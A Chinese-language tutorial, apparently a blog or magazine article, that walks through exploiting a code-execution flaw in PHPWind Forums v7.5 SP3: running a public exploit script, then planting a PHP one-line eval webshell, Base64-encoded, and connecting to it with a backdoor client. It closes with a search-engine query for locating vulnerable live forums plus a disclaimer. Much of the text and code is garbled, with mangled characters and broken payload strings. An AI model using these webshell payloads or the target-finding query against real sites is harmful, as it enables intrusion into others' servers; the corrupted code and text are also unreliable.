前几天在危险漫步的博客看到一篇关于PHPWind v7.5/v8.0漏洞的文章,考虑到PHPWind是国内著名的论坛程序,利用它建站的网站非常多,我顿时来了兴趣,决定看看这个漏洞怎么利用。
看漏洞的名字好像影响PHPWind v7.5-PHPWindv8.0版本,我机子里保存了以前下载的PHPWind v8.0 GBK build 20100810的源程序,在虚拟机里安装后测试漏洞不能利用,换了PHPWindForums v7.5 SP3 GBK整合版漏洞利用成功,可能是我机子中之前的版本比较新的缘故吧。下面就用PHPWind Forums v7.5 SP3 GBK整合版来给大家介绍漏同的利用。
先来安装存在漏洞的PHPWind Forums v7.5 SP3GBK整合版,搭建一个测试环境。在虚拟机里的一个Windows 2003系统中我已经用AppS erv搭建好了PHP环境,在WEB根目录下薪建一个名为phpwind的文件夹,把PHPWind Forums v7.5 SP3 GBK整合版的安装文件复制到phpwind支件夹下,然后下载安装,自然不必多说。
下面来看漏洞具体怎么利用。其实很简单,因为危险漫步的文章已经给出了漏洞的EXP。把EXP的代码保存为phpwindexp.php备用。通过EXP看好像是一个代码执行漏洞,具体漏洞的信息不知道,我们只看怎样利用,哈哈。要利用这个EXP需要有一个注册用户,因此我注册了一个用户名为test,密码为123456的用户。由于EXP是PHP代码写的,需要用php.exe来执行,安装PHP后就会有php.exe。AppServ中集成了php5,不用再单独安装PHP了。php5所在的目录为C:\AppServ\php5\,把phpwindexp.php复制到C:\App ServYphp5Y目录下。
WIN+R调出运行输入框,输入cmd回车后打开命令提示符,输入cd\回车后切换到c盘根目录下,输入cdC:\AppServ\php5回车后切换到C:\AppServ\php5\目录下。输入php phpwlndexp.php回车就可以看到EXP的利用格式了。
EXP的利用格式为:php phpwindexp.php用户名密码论坛地址,其中用户名和密码是刚才你注册的用户名和密码,各个参数间用空格隔开。下面来测试下EXP对我在虚拟机里搭建的PHPWind Forums v7.5 SP3 GBK整合版是否有效。
看到“Get shell:OK”的提示就说明漏洞利用成功了。下面还有一行提示,尝试访问,成功执行了函数phpinfo(),确实存在代码执行漏洞。
但我们不只是想执行phpinfo(),我们的目标是获得webshell。考虑通过执行生成PHP一句话木马的代码来获得webshell,常用的生成一句话的PHP代码为:<?fputs(fopen(”x.php'i,”w”),”<?eVal(\$一POST[x]);》”)》,作用是在当前目录下生成名为x.php的文件,文件的内容为:<?eVal(\$POST[x]);?>”)》。adata\bbscache\目录下也没生成x.php,考虑用Base64加密代码,重新构造代码执行的URL,,其中eHgucGhw是xx.php经过Base64加密后的代码,PD9waHAgQG Ar2YWwojF9QTINUW3hdKTsgPz4x是<?php@eVal($-POST[X]);?>l经过Base64加密后的代码。用浏览器打开,这次没有错误提示,好像代码成功执行了。再来到data\bbscache\目录下,xx.php果然生成了。
用lanker-句话PHP后门客户端连接,填上密码x,成功获得webshell。
通过搜索“Powered by PHPWind v7.5 SP3Certificate Code”等能找到可能存在这个漏洞的网站。本文介绍的漏洞利用仅出于兴趣爱好,不要用来对他人网站进行破坏,否则造成的任何后果与我无关。